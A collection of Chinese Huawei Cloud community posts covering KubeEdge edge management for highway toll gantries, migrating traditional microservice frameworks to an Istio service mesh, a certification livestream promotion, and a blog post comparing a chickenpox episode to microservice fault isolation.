当然，还有一些重要的边缘侧特有的需求是原生的Kubernetes不具备的，但Kubernetes的架构是非常好的，易于扩展，灵活性很高，可以基于原生Kubernetes架构基础，根据边缘管理的特殊需求进行扩展。 # 三、为什么选择KubeEdge **一是业务自身的特点来决定的。** 这个业务的量非常大，涉及的边缘节点分布在全国各地，所以它的边缘侧是多硬件架构、多厂家的，我们需要异构的支持； 边缘工控机低至4核ARM SOC、1G可用内存，我们需要低资源占用的方案来管理边缘侧的节点；管理运维复杂，从路网中心到最终路段，分为6级管理层次，管理成本高，我们需要高集成度边缘的方案，让边缘足够简单，把出问题的概率降到最低，降低运维成本。 **二是从边缘环境的特点来看的。** 从网络的角度来看，网络分为部省、省站两层，多次转发，我们需要边缘接入具有高灵活性，可支持专线、代理、公网、有线和无线接入等多种方式；各地基础设施的建设不同，有些省份的网络带宽低至3M，我们需要边缘和云之间的管理带宽占用降到最低；有些高速公路上的网络条件是非常差的，经常出现断网的情况。我们需要边缘方案有离线自治的能力。 # 四、整体方案 接下来我会把整体方案打开成几层来分别介绍。 **应用部署** 首先是应用部署，就像我刚才说的，在边缘侧要部署的业务非常复杂，它是由多个微服务所构成的云原生化的架构。所以我们这些微服务以及中间件都容器化之后可以非常好的适应各种不同的异构操作系统，方便统一管理。 如下图所示，微服务架构分成前端和后端，前端主要把业务通过Deployment的方式部署到门架上，与后端之间是通过EdgeMesh实现的。通过这种服务发现的方式，实现微服务前后端业务的通信。而后端业务容器本身是无状态的，可以通过Deployment来部署。 后面的Redis包括MySql就可以通过Statefulset的方式来进行部署。通过这样的部署模型，我们可以很完美的进行封装和自动化管理高可用的边缘侧的整套业务系统。  但如果仅仅是用原生的K8s部署方式，并不能完全满足我们的需求，因为在项目里要部署的量非常大，左图的环境只是应用于一个收费站，而一个路段要管理几百上千个收费站，逐个部署成本过高。所以我们基于K8s之上又构建了一个任务工作流的引擎系统，把每一个部署微服务的步骤定义为一个job。用批量的方式大量、快速部署成百上千个同样的微服务系统和环境。  **大规模节点接入** 除了上面提到的挑战，在应对大规模节点接入的情况下也遇见过一些问题： 每个省有自己的管理权限，我们按K8s集群的配置配了多个K8s集群来进行管理，一个省对应一个K8s集群，然后在K8s之上通过统一的管理层处理复杂跨集群数据统计等操作，从中心侧管理每个省的边缘侧，这就是多集群的管理手段。 我们曾遇见一种现象，路网中心或省中心做网络升级等动作之后，网络有时候会出现问题，所有省的边缘节点，失去与K8s的连接，等网络恢复之后，又会发生所有节点同时连接中心侧的K8s集群，引起大量的并发连接,对中心侧的系统造成冲击，导致应用异常。为了应对这种情况，我们通过动态退避算法缓解节点同时接入所形成的流量冲击。 需要精简NodeStatus和PodStatus上报的信息。就前文所提到的，各地基础设施的建设不同，有些省份的网络带宽低至3M，所以我们需要减小状态信息的大小，降低上报流量的冲击，降低对网络的影响。 镜像仓库Mirror分级加速，有效降低了对网络的冲击，提高大批量部署的部署效率。 **边缘业务高可用** 接下来的是边缘业务高可用，按照原生K8s的升级状态，它会先删除旧版本Pod，再创建新Pod并在这个过程中去拉取新版本镜像。这种操作在公有云网络条件较好的情况下，是没太大问题的。但在边缘侧，这样就会造成业务长时间的中断，收费数据缺失。所以针对这一个流程，我们也是做了相应的升级和优化。 我们先把升级下载镜像的通知下发做预下载，下载成功之后再删除已有的旧Pod，启动新应用，优化了应用升级对服务中断的时间的影响，将业务升级时整体业务中断的时间从分钟级缩减到了10s内。 同时，考虑到边缘设备有主备部署的情况，而边缘侧又不像云上有ELB服务。我们又在边缘节点中容器化部署了Keepalived，通过VIP，为门架的摄像头等设备提供对应的K8s集群内的容器服务。 # 五、总结 当前基于KubeEdge的边缘管理系统管理着全国29个省、市 、自治区的将近100,000个边缘节点，超过500,000边缘应用的部署。支撑了高速公路门架业务的不断调整、更新，满足了每日3亿条以上的信息采集。 为日后车路协同、自动驾驶等创新业务的发展提供了良好的平台支撑。 K8s提供的通用部署和调度模型很适合部署大规模边缘应用。 单纯原生K8s不能满足边缘侧业务的所有需求，KubeEdge集成K8s云原生管理能力，同时对边缘业务部署和管理提供了很好的支持。

今天晚上19:00，与你相约直播间华为云大咖带你玩转微服务架构get 企业应用架构的演进过程、典型微服务框架介绍、华为云应用管理与运维服务等干货内容还没报名活动的同学，抓紧时间加入——华为云云原生入门级开发者认证人才计划与大咖交流，与学霸同行，不断修炼自己，终究活成自己喜欢的模样！https://edu.huaweicloud.com/signup/521bd9a32c9345d5b240d4173e67437a

直播时间：2022/3/31  19:00-21:00直播嘉宾：路老师 华为云高级讲师直播简介：本直播为华为云云原生入门级开发者认证人才计划活动第7场直播，本直播将由华为云高级讲师路老师给大家分享企业应用架构的演进过程、典型微服务框架介绍、华为云应用管理与运维服务等干货内容，带你玩转微服务架构！直播链接：https://bbs.huaweicloud.com/live/edu_live/202203311900.html 活动介绍：面向高校学生、个人开发者、企业开发及运维人员，华为云即将推出云原生入门级开发者认证（HCCDA - Cloud Native），从开源组件到华为云上服务的介绍，使您掌握云原生的核心理念和架构，具备基本开发实践能力。为帮助开发者学习并顺利通过认证，华为云开发者学堂上线“云原生入门级开发者认证人才计划”赋能学习活动，收获知识干货、拿到官方证书的同时还有机会赢取更多精美奖品！

本文分享自华为云社区《[传统微服务框架接入Istio方案详解](https://bbs.huaweicloud.com/blogs/337177?utm_source=zhihu&utm_medium=bbs-ex&utm_campaign=other&utm_content=content)》，作者：香菜聊游戏 。 # 微服务的概念和原理 ## 微服务带来的问题 **微服务带来的好处：** 解耦了业务，解耦了代码和架构，业务更紧凑，逻辑更单一简单。 **微服务带来的问题：** 在早期的时候，使用单体架构，所有的业务都在一个服务内，没有跨进程和网络上的一些复杂度。 微服务化之后引入的问题包括如何做服务发现，怎么做负载均衡，包括服务间的访问保护，例如熔断，故障定位等等问题。 在故障定位时，在原来单体服务下只需要看下日志，但是微服务化之后需要借助分布式调用链工具，这无形中带来了开发和定位问题的复杂度。  **微服务和lstio网格架构对比**  微服务框架我们了解比较多的Spring cloud 或者国内用的比较多的Dubbo，框架本身就不多介绍了，我想大家都有所了解。 原理就是提供了开发的SDK或者说叫框架，这些框架都是内置了一些解决微服务问题的方案，比如服务发现，负载均衡，服务的熔断和降级，以及调用链路的埋点，动态路由这些事情。 下图是一个典型的用法，也是应用非常广泛的用法  基于网格的治理是近些年应用比较多的，从上图可以看出，虽然基于网格的治理提供的能力和上图的基于sdk的能力一样，但是两者的设计原理，使用场景，设计理念是不同的。 # 详细介绍 ## 服务发现和负载均衡  上图是传统的微服务框架的原理 一般的流程是： • 服务启动的时候向服务中心进行注册 • 调用的时候先从服务中心获取后端服务的地址 • 选择一个实例发送请求，等待回复  服务网格的工作原理： 服务网格一般和k8s结合使用，因为k8s 本身做了服务的endpoint 维护，所以lstio不需要做服务注册，只需要做服务发现。 看下详细的区别  **服务熔断**  服务熔断的机制： 如果一个服务在配置的一段时间内一直不可用，可以通过熔断机制，把服务隔离开，接触不到流量，进入到半熔断状态， 如果在一定的考察时间段能够恢复正常，熔断状态就会关闭，如果还是不能正常，会继续进入到熔断状态。  # 传统微服务框架的问题和基于服务网格的解决方案 **问题1：微服务SDK的多语言问题**  上面这张图示意了微服务的之间的关系，一些大的客户拥护大的系统，系统由多个服务组成，服务可能由多种语言开发。 比如系统中可能有go服务，C++服务，python服务以及spring cloud 服务等等，这是一种比较常见的情况。 在这些服务中想做一个通用的服务发现时，但是Spring cloud或者Dubbo开发的服务，有一套自己的服务发现机制，但是不同语言开发的服务之间发现框架是不同的，比如go服务开发的服务不可能去spring cloud的服务中心注册，这个问题没办法解决。 比较粗暴的解决办法是对其他语言的项目用Java重构，在项目不复杂的情况下是可以接受的，但是在系统业务比较复杂，需要修改的项目比较多的情况下是无法接受的，不仅需要大量的人力，还要花费大量的时间，服务的稳定性没法保证。  服务网格的解决方案下，服务发现是业务解耦的，不管是什么语言开发的服务，因为proxy不需要参与编译，网格之间只需要开放端口，并且保持可以访问，在这种方案下，不需要修改原来代码，减少了开发量，是企业可以接受的。 **问题2：基于sdk的服务在k8s下出现延迟和数据不一致**  在上图这种情况下，Consumer服务原来在pod1 上，后来由于调度问题，导致Consumer服务迁移到pod2 上，正常情况下pod1 需要注销，pod2 进行重新注册，但是如果pod 迁移比较频繁，导致Producer 在访问Consumer服务的时候仍然拿到老的注册地址，就会出现延迟和数据不一致的情况。  **问题3：基于SDK逻辑开发的服务升级必须重新编译**  基于SDK开发的逻辑代码进行升级的时候，必须重新编译所有基于SDK开发的服务，这个升级会带来大量的工作量，SDK的升级过程必须要和业务团队一起升级，非常耗时。产生的需求就是如果业务代码没有改变的情况下不需要重新编译。  使用网格的解决方案下，如果业务没有修改是不需要进行编译和修改的，对开发人员和运维来说是非常友好的，同时降低了运维的风险，毕竟任何改动都是风险。 **问题4：基于SDK开发，统一发现和治理能力，需要全部改造**  如果对一个单体应用进行微服务化，一般是渐进微服务化，比如上图，一般先对svc1进行微服务化，然后再对svc2 进行微服务化，在开发的过程中需要仍然访问互通，但是使用SDK的微服务有时需要使用同一框架，同一版本才能进行通信交互，这就是痛点。  在使用网格的情况下，第一步先对svc1进行微服务化，svc2不改动，在开发的期间仍然不影响原来的访问。 # 传统微服务框架在服务网格中集成的实践详情 **总体思路**  卸载SDK的服务发现和服务治理的功能，将这些功能迁移到基础设施上，让用户从这些中解脱出来，只专注于自己的业务代码。 **解决方案**   传统微服务的发现是注册到注册中心 在使用网格之后，平台同一服务发现，使用kube-proxy进行服务发现和负载均衡，Kube-proxy 直接返回服务的ip和端口，这样的话就消除容器环境下服务发现数据不及时的问题。 在使用k8s做服务发现，再使用网格的能力，服务完全无需修改适配 **Spring cloud项目的改造**  在原来的配置中，取消对注册中心的注册，改为直接使用服务名:端口进行访问，直连的这种方式会被k8s 进行转发，对业务代码无需修改，减少了工作量。 注意：**要和访问的服务保持协议一致。** **移除spring cloud 的项目依赖**  **微服务网关的改进**  情况1：微服务网关有业务逻辑 写了很多自定义的逻辑，比如filter的过滤等等，这种情况下网关可以作为普通的微服务部署在网格内。 情况2：微服务只有通用逻辑能力 直接用Ingress进行替换，进行地址映射，路径映射等基础能力，移除原来的网关。 **集成微服务注册中心到网格** 由于有些项目开发架构自成体系，不太适合直接排除原来的基础能力，在这种情况下想使用网格的能力，需要把原来的注册中心导入。Istio从微服务的注册中心导入注册数据，并且转换格式存储，在这种情况下依然可以配置相同的治理规则。  # 总结 使用k8s和lstio网格进行开发，将服务发现，服务治理留给基础设施，可以将开发人员从复杂的服务中解脱出来，专注于业务开发，是当前来说比较好的解决方案。 视频地址：https://education.huaweicloud.com/courses/course-v1:HuaweiX+CBUCNXI055+Self-paced/courseware/511f6f06d97d4aaf9b90445dca5800d1/c08eb6fa0dd14a34bd617c6beb63a923/

链接：https://bbs.huaweicloud.com/blogs/335401事情是这样的，最近学委居然被水痘病毒拿下了。。。哎，之前生活作息没把握好节奏，写文章后太兴奋了有时候睡不着，休息不足免疫力就下降，只能说写文章是一把双刃剑。（也奉劝各位读者朋友们注意休息，身体健康最重要！）好，暂时放下这把剑，去看医生。被告知这是常见病毒，只是偶尔有些人免疫力下降没抵抗住，就会被感染。不是说系统架构吗？？？先看下图，请带着这个问题继续看吧。（学委就是里面那个冒红的块，其他都是正常健康的同事们）水痘是什么？水痘是一種急性高度傳染性疾病，症状就是会发痒发红，通常得过一次就一般不会再感染。（学委不是水痘专家，这里只是简单摘述）我小时候肯定是打过疫苗的，但是没想到N年后居然被再次攻击了！得了水痘之后周围发生了什么？下面是整个事件。周五发现腰部有点痒，长了一小块痱子（只觉得是小问题），恰巧约了朋友周一吃饭。下周一，还没有好挂了号。我跟两个朋友吃饭，检查完马上告诉他们（告诉哥们要酒精消一下毒）那天差不多下班单位立马安排了消毒，让周围的同事一周内在家上班。也让学委在家多注意休息，不过问题不大暂时没有休假，继续在家里上班了。部门上报并通报了这个事件，呼吁大家注重休息和生活卫生。那么，这关系统什么事？？？公司其实就像一个系统，部门就像一个服务群，而学委就是里面的一个微服务。当然这个平台也有几个类似学委这样的微服务（就像下图一样，蓝色框内为一个公司，里面很多打工人，箭头为服务间交互）。上图，除了学委这个服务变红了，其他服务还是绿色的，正常运转的状态。（请再看一眼这个图，后文会继续讲学委跟几个同事交互之后的变化）遇到问题，让系统尽量不崩溃，保持正常或者近乎正常的运行，是每个架构师必须做好的事情。这里，有必要了解系统思维所谓系统思维（System Thinking），就是把某个疑问、某种状况或某个难题明确地视为一个系统，也即是视为一组相互关联的实体，而不是孤立的一个对象。在公司，每个职能部门，处理应对业务，应对一个一个问题。这就像及了应对一个问题的整体架构！系统思维的初级目标是理解系统是什么，更进一层的目标是为了预测系统在发生某些变化之后的情况。而最高级的目标，则是用部件来合成一个系统，这个过程就是系统架构。每个员工个体就是部门里面的一个个服务，当然职能还有前端，后端，业务分析人员，架构师，和其他管理等等，这些相当于不同类型的实例。这些公共协作对外为处理系列问题的一个系统！针对这个bug（水痘）的处理？系统级别的处理类似的，我们可以看到在公司做了上面的一些措施，遏制病毒的进一步扩散，避免感染影响更多的微服务。同时把问题上报，公布问题，带来更高级别的关注和避免了更多可能的服务交互。这些行为就像微服务里面进行业务隔离（下图的虚线和实线包起来进行不同级别的隔离），警告展示在大面板（群发公告这个事件），实现中央化统筹一个样啊。服务级别的处理就像雷学委微服务一样，一开始以为长痱子，没多想跟其他服务交互（比如更哥们吃吃饭，回去公司跟小伙伴交流技术）。但是，服务内部有设置状态监控，学委生病一开始以为是腰上长了一点点痱子，没理会，第四天发现还没有好。看病前4天已经约了朋友吃饭，也不知道是啥，所以就去吃饭了。但也没有犹豫下午就请假去看医生了。然后跟确认病情后，通知部门，然后公司安排系列后续处理。我则在家上班，也避免影响其他人。这是一种服务的组件自治的体现，自我管理，自我故障处理，不行再向上汇报。如果以上措施都没有呢？那么就像下图一样，红色为被传播水痘病毒的同事，在系统中体现为多个服务无法正常运转导致整个系统在外部看来是崩溃的。也就是我们常说的挂机了，类似之前B站崩了。有些读者跟着文章读，很容易被带入了，觉不是很自然吗？那么，你可以想想下面的问题？要是没有去看医生呢；要是看医生后忘记及时告诉公司了呢；要是告诉同事，他们没有理会约束呢；要是告诉部门没有任何举动等等。虽然水痘也不是那么吓人，但遇到抵抗力低的照样传播开来，那就影响更多部门，甚至更多系统（公司与公司之间业务交互的影响）。所以，若没有上述处理，这个事情可能影响更大。类似问题可再想想，重新审视一下你所接触过的系统或者项目。比如某一次提交代码，小八（他是新加入项目的）就写了一个for循环，本地测试好好的。放到线上后运行了一段时间后导致一个查单服务Java进程发生OOM。结果调用服务不断重试，自然地把其他查单服务压垮了，最后所有调用方不断重试，还把网关压垮，全员紧急加班查问题。那么有没有什么架构方案是像万金油一样，一劳永逸的呢？答案是没有。生活还是有其他万一的，我们无法都考虑进来。很多技术人员会听到6个9，也就是一年挂机不超过31秒，很难达到吧。 (1-99.9999%)*365*24*60*60=31.5秒(向下取整数）只能说架构应该具有相对的适用性，超前性（N倍性能的弹性设计，但不可能是百倍性能的规划），演化性（平台不是第一天就成为平台）。这不就跟公司成长一样嘛。总结与延伸类似水痘这个bug是无法避免的，因为消除不了，但不属于那种致命问题，有时候也不会被重视。做系统也一样不能说完全没有Bug，只是多数情况下还不是主要矛盾，可以忍受（再没有遇到那个情况触发下）。怎样的架构能过避免出现大规模故障呢？打造高质量服务自我感知，告警，熔断，健壮性等等。这对应于员工则是招聘培训高素质员工必备风险管理方案流量销峰，加缓冲队列，业务隔离，服务隔离，多个服务实例，还有支持伸缩。这对应于公司则是针对故障的一系列高效处理流程：比如合理业务线划分，分布式团队带来错峰弹性，和支持移动办公等等。当然更加弹性更加可用，那么系统的成本就越高了。对应的就是企业增加了管理成本，高素质员工带来的支付更高的薪酬。最后，年轻人如何了解并学习架构呢？对新手来说，看书估计是很难的，你没有到那些问题，看到一些文字估计停留在浅尝辄止！学委觉得最好的方式就是，观察，模仿，找到团队里最厉害的人（可以是架构师，可以是最牛的那个技术）。多跟他交流，思考为什么，他也不一定都对（除了技术，还有工期，团队能力，预算等外界因素）。这个思考的过程，再去看资料，才是更加实战的学习架构经验之道！好了，旨在引发思考。这次水痘经历，让我们看到这个一连串的事情和一系列处理。灵机一动，学委用来类比了系统和微服务的监控，运维，架构设计，也没有全面涵盖！另外更加感兴趣的朋友，可自行去看《系统架构：复杂系统的产品设计与开发》，超级经典的一本，更多还是实战。对了，学委还有这个可以关注长期阅读 =>雷学委趣味编程故事汇编或者=> 雷学委NodeJS系列持续学习持续开发，我是雷学委！编程很有趣，关键是把技术搞透彻讲明白。创作不易，请多多支持，点赞收藏支持学委吧！